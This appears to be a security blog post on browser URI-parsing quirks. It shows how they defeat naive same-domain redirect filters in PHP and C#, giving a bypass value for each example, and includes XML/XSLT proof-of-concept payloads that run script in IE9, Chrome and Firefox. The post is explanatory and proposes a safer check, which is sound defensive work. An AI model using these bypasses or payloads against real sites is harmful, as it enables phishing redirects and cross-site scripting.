Some Interesting URI Parsing Quirks and Open Redirects

Parsing the “relativeness” of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these.

Some URI Quirks

Let’s look at some tests with the URIs grabbed from the location header. The browsers I’m testing right now are IE9, Chrome 17 something, and Firefox 11.

All browsers are happy with this, and go to google.com

header(“Location: //google.com”);

Both Firefox and chrome truncate extra slashes
So

header(“Location: http:///////////////////////google.com“);

is completely happy.

IE is interesting, as it will be equally happy with and /

header(“Location: https:\\google.com\“); <– this works

The spacing doesn’t seem to matter, so all browsers are happy with:

header(“Location:                        http://google.com“);

as well as

header(“Location:http://google.com&#8221;);

My favorite is this. In chrome and Firefox

header(“Location: http:google.com”);

will redirect to a relative URI, but for whatever reason

header(“Location: https:google.com“);

will redirect to google.com. wtf?

Same Domain Redirect

These parsing quirks can be useful for several attacks, and the first thing that came to mind for me was open redirects.  It’s a pretty common scenario to want to allow sites  redirecting based on the parameter as long as it’s in the same domain. It can be expensive to whitelist every URI (which would be ideal), so although that’s a great solution, I also think allowing redirects to your own domain is sometimes better than nothing …despite there being some risks associated with it, like giving an attacker a way to bypass the IE8 XSS filter http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf.

So, below are some (broken) examples of websites trying to accomplish this, allowing a redirect but only to their own site.

Broken Example 1 – startswith /

One naive way to try to perform arbitrary on-site local redirects would be something like the following, which takes the redir query parameter and make sure it starts with a slash:

$redir = $_GET['redir'];
#if redir starts with /
if (strpos($redir, "/", 0) === 0)
header("Location: " . $redir);

Obviously, this can be bypassed in all browsers with //google.com

Broken Example 2 - No Semicolons, Can’t start with /, and in fact, don’t start with // either

This PHP tries to prevent off-site redirects with the following snippet

$redir = $_GET['redir'];
#make sure redir doesn't have slashes, and doesn't have semicolons
if ((strpos($redir, "/", 0) != 0) and (strpos($redir, "/", 1) != 1) and (strpos($redir, ":") === false))
{
header("Location: " . $redir);
}

Because you can prepend spaces, one way to bypass this is to send the following:

redir=%20%20//google.com

Broken Example 3 – No Slashes at all

Ok, what if there are no slashes are allowed at all? You can’t very well have http://blah.com without a slash, after all, so this intuitively might make sense. The code for this might look something like:

$redir = $_GET['redir'];
#if no / in the string
if (strpos($redir, "/") === false)
  header("Location: " . $redir);

However, using the quirks above, this can be bypassed by using redir=https:google.com in FF and chrome, and it can be bypassed in IE with redir=\google.com

Broken Example 4 – Built in Libraries:

Surely there are libraries that solve this problem. Well, maybe there are, but there are certainly libraries people use to try to solve this problem, but they don’t do it as people expect (e.g. a library might call a URI relative when a browser treats it as absolute). Making a library that works well is a fundamentally tough problem because all these browsers have quirks and the library has to match all browsers. So is a library supposed to call https:google.com a relative or a full uri? (it’s relative in IE but full in chrome and FF)

Here’s one C# example where someone might try to figure out if a URI is relative URI using the IsAbsoluteUri property in .net system.Uri.

        static void Main(string[] args)
        {

            String[] uriArray = new String[] {
                "//google.com/test.html",                 //relative
                "\\google.com\test.html",              //relative
                "/////////google.com/test.html",          //relative
                "https:google.com",                       //relative
                "http://google.com",                      //absolute
                "http:///////////////////google.com",     //absolute
                "           http://google.com"            //absolute
            };

            foreach (String uriString in uriArray)
            {
                try
                {
                    Uri uri = new Uri(uriString, UriKind.Relative); //works
                    if (!uri.IsAbsoluteUri)
                    {
                        Console.WriteLine("is a relative URI: {0}", uriString);
                    }
                }
                catch (UriFormatException e)
                {
                    Console.WriteLine("not a relative URI: {0}", uriString);
                }
            }
        }

Broken Example 5 – startswith Whitelisted Domain

This is a classic example. Even though it doesn’t have much do do with parsing quirks, it can be subtle and illustrates an important point.  So say an application does the following to make sure the redirect is on the correct domain.

String redir = Request["redir"];
if (redir.StartsWith("http://goodsite.com"))
{
	Response.Redirect(redir);
}

Can an attacker still exploit this? The answer is yes, by setting redir=http://goodsite.com.badsite.com/

What’s the Right Way to do on-domain Redirects?

So open redirects are in the owasp top ten, and they have some guidance here: https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards. However, to summarize, it basically says to whitelist and don’t redirect. I do agree, but again, what if you want to do on-domain redirects? The best I can think of is to do something like this:

startswith(http://goodsite.com/ || https://goodsite.com/)

Note the trailing slash, which prevents broken example #5.  I don’t think it’s possible to redirect off-site with this type of code… but if someone knows otherwise, I’d definitely be interested in how to do it :)

Serving Back XML for XSS

In our “New ways I’m going to hack your web app” talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn’t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html. I didn’t know this was even possible, but it turns out it makes step#1 unnecessary.

In our original example, we had this xsl file saved as a jpg:


<?xml version="1.0" encoding="utf-8" ?>
 <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
 </xsl:stylesheet>

And we had the xml that applied it as a wxr file.


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="./badxsl.jpg"?>
<document>
 <x name="x">x</x>
 <abc>
 <def>def</def>
 </abc>
</document>

These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:


<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses[
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>
]>
<document>
<node />
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
</xsl:stylesheet>
</document>

This fires in IE9:

 

This doesn’t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.

<?xml version="1.0"?>
<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
 <html:script>alert(1);</html:script>
</html>
</foo>

Follow

Get every new post delivered to your Inbox.

Join 39 other followers